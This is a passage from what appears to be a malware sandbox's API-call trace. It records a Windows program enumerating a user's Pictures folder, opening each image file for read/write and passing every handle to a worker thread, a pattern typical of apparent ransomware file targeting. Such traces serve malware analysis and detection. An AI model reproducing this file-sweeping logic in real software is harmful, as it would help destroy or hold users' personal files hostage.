HALPmcxz\\Pictures\\5O8DmV2vXiwvFyVDc.gif") returned 64 [0078.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5O8DmV2vXiwvFyVDc.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5o8dmv2vxiwvfyvdc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9b4 [0078.793] QueueUserWorkItem (Function=0x404e00, Context=0x9b4, Flags=0x0) returned 1 [0078.793] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2274fee0, ftCreationTime.dwHighDateTime=0x1d4c6b5, ftLastAccessTime.dwLowDateTime=0xd7f2a950, ftLastAccessTime.dwHighDateTime=0x1d4ce5a, ftLastWriteTime.dwLowDateTime=0xd7f2a950, ftLastWriteTime.dwHighDateTime=0x1d4ce5a, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5ocLPThmHByX0iy.jpg", cAlternateFileName="5OCLPT~1.JPG")) returned 1 [0078.793] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5ocLPThmHByX0iy.jpg") returned 62 [0078.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\5ocLPThmHByX0iy.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\5oclpthmhbyx0iy.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9b8 [0078.793] QueueUserWorkItem (Function=0x404e00, Context=0x9b8, Flags=0x0) returned 1 [0078.793] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d741570, ftCreationTime.dwHighDateTime=0x1d4d062, ftLastAccessTime.dwLowDateTime=0xcfed8340, ftLastAccessTime.dwHighDateTime=0x1d4d0be, ftLastWriteTime.dwLowDateTime=0xcfed8340, ftLastWriteTime.dwHighDateTime=0x1d4d0be, nFileSizeHigh=0x0, nFileSizeLow=0xcf51, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9YLiaEcmifA.png", cAlternateFileName="9YLIAE~1.PNG")) returned 1 [0078.793] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9YLiaEcmifA.png") returned 58 [0078.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9YLiaEcmifA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9yliaecmifa.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9bc [0078.793] QueueUserWorkItem (Function=0x404e00, Context=0x9bc, Flags=0x0) returned 1 [0078.793] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12aa1b30, ftCreationTime.dwHighDateTime=0x1d4ce3a, ftLastAccessTime.dwLowDateTime=0xe8501720, ftLastAccessTime.dwHighDateTime=0x1d4c995, ftLastWriteTime.dwLowDateTime=0xe8501720, ftLastWriteTime.dwHighDateTime=0x1d4c995, nFileSizeHigh=0x0, nFileSizeLow=0xfcc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bhTZa6UPqp.bmp", cAlternateFileName="BHTZA6~1.BMP")) returned 1 [0078.793] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\bhTZa6UPqp.bmp") returned 57 [0078.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\bhTZa6UPqp.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bhtza6upqp.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c0 [0078.793] QueueUserWorkItem (Function=0x404e00, Context=0x9c0, Flags=0x0) returned 1 [0078.793] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152ad740, ftCreationTime.dwHighDateTime=0x1d4d29b, ftLastAccessTime.dwLowDateTime=0x97e8a740, ftLastAccessTime.dwHighDateTime=0x1d4c9d9, ftLastWriteTime.dwLowDateTime=0x97e8a740, ftLastWriteTime.dwHighDateTime=0x1d4c9d9, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BThMwlYY7.bmp", cAlternateFileName="BTHMWL~1.BMP")) returned 1 [0078.793] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BThMwlYY7.bmp") returned 56 [0078.793] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BThMwlYY7.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bthmwlyy7.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c4 [0078.794] QueueUserWorkItem (Function=0x404e00, Context=0x9c4, Flags=0x0) returned 1 [0078.794] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18a720, ftCreationTime.dwHighDateTime=0x1d4d097, ftLastAccessTime.dwLowDateTime=0xc51a4260, ftLastAccessTime.dwHighDateTime=0x1d4cd2a, ftLastWriteTime.dwLowDateTime=0xc51a4260, ftLastWriteTime.dwHighDateTime=0x1d4cd2a, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D-FJtwU2P.jpg", cAlternateFileName="D-FJTW~1.JPG")) returned 1 [0078.794] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\D-FJtwU2P.jpg") returned 56 [0078.794] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\D-FJtwU2P.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\d-fjtwu2p.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c8 [0078.794] QueueUserWorkItem (Function=0x404e00, Context=0x9c8, Flags=0x0) returned 1 [0078.794] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.794] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned 54 [0078.794] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9cc [0078.794] QueueUserWorkItem (Function=0x404e00, Context=0x9cc, Flags=0x0) returned 1 [0078.794] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6a561f0, ftCreationTime.dwHighDateTime=0x1d4ccaa, ftLastAccessTime.dwLowDateTime=0x613a0ce0, ftLastAccessTime.dwHighDateTime=0x1d4d120, ftLastWriteTime.dwLowDateTime=0x613a0ce0, ftLastWriteTime.dwHighDateTime=0x1d4d120, nFileSizeHigh=0x0, nFileSizeLow=0x18686, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DPBIf.jpg", cAlternateFileName="")) returned 1 [0078.794] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DPBIf.jpg") returned 52 [0078.794] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\DPBIf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dpbif.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d0 [0078.794] QueueUserWorkItem (Function=0x404e00, Context=0x9d0, Flags=0x0) returned 1 [0078.794] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b249ef0, ftCreationTime.dwHighDateTime=0x1d4ce73, ftLastAccessTime.dwLowDateTime=0xebd2c060, ftLastAccessTime.dwHighDateTime=0x1d4cb65, ftLastWriteTime.dwLowDateTime=0xebd2c060, ftLastWriteTime.dwHighDateTime=0x1d4cb65, nFileSizeHigh=0x0, nFileSizeLow=0xbbe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dzxUhW88VfaoX9T.gif", cAlternateFileName="DZXUHW~1.GIF")) returned 1 [0078.794] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dzxUhW88VfaoX9T.gif") returned 62 [0078.794] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\dzxUhW88VfaoX9T.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\dzxuhw88vfaox9t.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d4 [0078.795] QueueUserWorkItem (Function=0x404e00, Context=0x9d4, Flags=0x0) returned 1 [0078.795] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46b876b0, ftCreationTime.dwHighDateTime=0x1d4c9fd, ftLastAccessTime.dwLowDateTime=0x1914fd80, ftLastAccessTime.dwHighDateTime=0x1d4c9fa, ftLastWriteTime.dwLowDateTime=0x1914fd80, ftLastWriteTime.dwHighDateTime=0x1d4c9fa, nFileSizeHigh=0x0, nFileSizeLow=0x83dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E6OxA_L47hmcR8-m.jpg", cAlternateFileName="E6OXA_~1.JPG")) returned 1 [0078.795] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\E6OxA_L47hmcR8-m.jpg") returned 63 [0078.795] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\E6OxA_L47hmcR8-m.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\e6oxa_l47hmcr8-m.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d8 [0078.795] QueueUserWorkItem (Function=0x404e00, Context=0x9d8, Flags=0x0) returned 1 [0078.795] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef13240, ftCreationTime.dwHighDateTime=0x1d4c81b, ftLastAccessTime.dwLowDateTime=0xa66eb4c0, ftLastAccessTime.dwHighDateTime=0x1d4d240, ftLastWriteTime.dwLowDateTime=0xa66eb4c0, ftLastWriteTime.dwHighDateTime=0x1d4d240, nFileSizeHigh=0x0, nFileSizeLow=0x159b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EwecZ.bmp", cAlternateFileName="")) returned 1 [0078.795] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EwecZ.bmp") returned 52 [0078.795] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\EwecZ.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ewecz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9dc [0078.795] QueueUserWorkItem (Function=0x404e00, Context=0x9dc, Flags=0x0) returned 1 [0078.795] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb99c410, ftCreationTime.dwHighDateTime=0x1d4d330, ftLastAccessTime.dwLowDateTime=0x3b072ca0, ftLastAccessTime.dwHighDateTime=0x1d4d374, ftLastWriteTime.dwLowDateTime=0x3b072ca0, ftLastWriteTime.dwHighDateTime=0x1d4d374, nFileSizeHigh=0x0, nFileSizeLow=0xf66a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ezDhA.png", cAlternateFileName="")) returned 1 [0078.795] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ezDhA.png") returned 52 [0078.795] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ezDhA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ezdha.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e0 [0078.795] QueueUserWorkItem (Function=0x404e00, Context=0x9e0, Flags=0x0) returned 1 [0078.795] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2b239f0, ftCreationTime.dwHighDateTime=0x1d4c578, ftLastAccessTime.dwLowDateTime=0x5daec0d0, ftLastAccessTime.dwHighDateTime=0x1d4ca5d, ftLastWriteTime.dwLowDateTime=0x5daec0d0, ftLastWriteTime.dwHighDateTime=0x1d4ca5d, nFileSizeHigh=0x0, nFileSizeLow=0xea8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fBEjLa7ONUMSMgkVvg.gif", cAlternateFileName="FBEJLA~1.GIF")) returned 1 [0078.795] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fBEjLa7ONUMSMgkVvg.gif") returned 65 [0078.795] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fBEjLa7ONUMSMgkVvg.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbejla7onumsmgkvvg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e4 [0078.795] QueueUserWorkItem (Function=0x404e00, Context=0x9e4, Flags=0x0) returned 1 [0078.795] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2c5320, ftCreationTime.dwHighDateTime=0x1d4d438, ftLastAccessTime.dwLowDateTime=0x1949d3a0, ftLastAccessTime.dwHighDateTime=0x1d4d212, ftLastWriteTime.dwLowDateTime=0x1949d3a0, ftLastWriteTime.dwHighDateTime=0x1d4d212, nFileSizeHigh=0x0, nFileSizeLow=0x5992, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I093urZB.bmp", cAlternateFileName="")) returned 1 [0078.795] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I093urZB.bmp") returned 55 [0078.795] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\I093urZB.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i093urzb.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e8 [0078.796] QueueUserWorkItem (Function=0x404e00, Context=0x9e8, Flags=0x0) returned 1 [0078.796] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70111030, ftCreationTime.dwHighDateTime=0x1d4c8d6, ftLastAccessTime.dwLowDateTime=0x69b2c2f0, ftLastAccessTime.dwHighDateTime=0x1d4caa3, ftLastWriteTime.dwLowDateTime=0x69b2c2f0, ftLastWriteTime.dwHighDateTime=0x1d4caa3, nFileSizeHigh=0x0, nFileSizeLow=0xb1fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KjscVO46J4Dwz3bs.jpg", cAlternateFileName="KJSCVO~1.JPG")) returned 1 [0078.796] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\KjscVO46J4Dwz3bs.jpg") returned 63 [0078.796] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\KjscVO46J4Dwz3bs.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kjscvo46j4dwz3bs.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9ec [0078.796] QueueUserWorkItem (Function=0x404e00, Context=0x9ec, Flags=0x0) returned 1 [0078.796] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e197880, ftCreationTime.dwHighDateTime=0x1d4c91c, ftLastAccessTime.dwLowDateTime=0x2cf5ffd0, ftLastAccessTime.dwHighDateTime=0x1d4d246, ftLastWriteTime.dwLowDateTime=0x2cf5ffd0, ftLastWriteTime.dwHighDateTime=0x1d4d246, nFileSizeHigh=0x0, nFileSizeLow=0xf895, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kzHFG7nBT8zkLMHnI.bmp", cAlternateFileName="KZHFG7~1.BMP")) returned 1 [0078.796] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kzHFG7nBT8zkLMHnI.bmp") returned 64 [0078.796] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kzHFG7nBT8zkLMHnI.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kzhfg7nbt8zklmhni.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f0 [0078.796] QueueUserWorkItem (Function=0x404e00, Context=0x9f0, Flags=0x0) returned 1 [0078.796] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab374210, ftCreationTime.dwHighDateTime=0x1d4cd9a, ftLastAccessTime.dwLowDateTime=0x496057f0, ftLastAccessTime.dwHighDateTime=0x1d4d27e, ftLastWriteTime.dwLowDateTime=0x496057f0, ftLastWriteTime.dwHighDateTime=0x1d4d27e, nFileSizeHigh=0x0, nFileSizeLow=0xc93d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LF7l3oM9NWIS-xi.gif", cAlternateFileName="LF7L3O~1.GIF")) returned 1 [0078.796] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LF7l3oM9NWIS-xi.gif") returned 62 [0078.796] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LF7l3oM9NWIS-xi.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\lf7l3om9nwis-xi.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f4 [0078.796] QueueUserWorkItem (Function=0x404e00, Context=0x9f4, Flags=0x0) returned 1 [0078.796] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae5fe80, ftCreationTime.dwHighDateTime=0x1d4cda5, ftLastAccessTime.dwLowDateTime=0x6e4e27a0, ftLastAccessTime.dwHighDateTime=0x1d4cc51, ftLastWriteTime.dwLowDateTime=0x6e4e27a0, ftLastWriteTime.dwHighDateTime=0x1d4cc51, nFileSizeHigh=0x0, nFileSizeLow=0xd587, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpZN3S7wr.bmp", cAlternateFileName="MPZN3S~1.BMP")) returned 1 [0078.796] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MpZN3S7wr.bmp") returned 56 [0078.796] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MpZN3S7wr.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mpzn3s7wr.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f8 [0078.797] QueueUserWorkItem (Function=0x404e00, Context=0x9f8, Flags=0x0) returned 1 [0078.797] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d429000, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0x7b4826f0, ftLastAccessTime.dwHighDateTime=0x1d4d0d3, ftLastWriteTime.dwLowDateTime=0x7b4826f0, ftLastWriteTime.dwHighDateTime=0x1d4d0d3, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pdhFN.jpg", cAlternateFileName="")) returned 1 [0078.797] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\pdhFN.jpg") returned 52 [0078.797] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\pdhFN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pdhfn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9fc [0078.797] QueueUserWorkItem (Function=0x404e00, Context=0x9fc, Flags=0x0) returned 1 [0078.797] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9fe4dc0, ftCreationTime.dwHighDateTime=0x1d4cca6, ftLastAccessTime.dwLowDateTime=0x6eb81210, ftLastAccessTime.dwHighDateTime=0x1d4d51a, ftLastWriteTime.dwLowDateTime=0x6eb81210, ftLastWriteTime.dwHighDateTime=0x1d4d51a, nFileSizeHigh=0x0, nFileSizeLow=0x7d30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pp345xR87Red1rWDHBi.gif", cAlternateFileName="PP345X~1.GIF")) returned 1 [0078.797] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Pp345xR87Red1rWDHBi.gif") returned 66 [0078.797] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Pp345xR87Red1rWDHBi.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pp345xr87red1rwdhbi.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00 [0078.797] QueueUserWorkItem (Function=0x404e00, Context=0xa00, Flags=0x0) returned 1 [0078.797] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55e340, ftCreationTime.dwHighDateTime=0x1d4cc1a, ftLastAccessTime.dwLowDateTime=0x797e31b0, ftLastAccessTime.dwHighDateTime=0x1d4cd78, ftLastWriteTime.dwLowDateTime=0x797e31b0, ftLastWriteTime.dwHighDateTime=0x1d4cd78, nFileSizeHigh=0x0, nFileSizeLow=0x3f04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pTqRP.jpg", cAlternateFileName="")) returned 1 [0078.797] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\pTqRP.jpg") returned 52 [0078.797] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\pTqRP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ptqrp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa04 [0078.797] QueueUserWorkItem (Function=0x404e00, Context=0xa04, Flags=0x0) returned 1 [0078.797] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x559b78e0, ftCreationTime.dwHighDateTime=0x1d4d1c2, ftLastAccessTime.dwLowDateTime=0x9290ffa0, ftLastAccessTime.dwHighDateTime=0x1d4d42d, 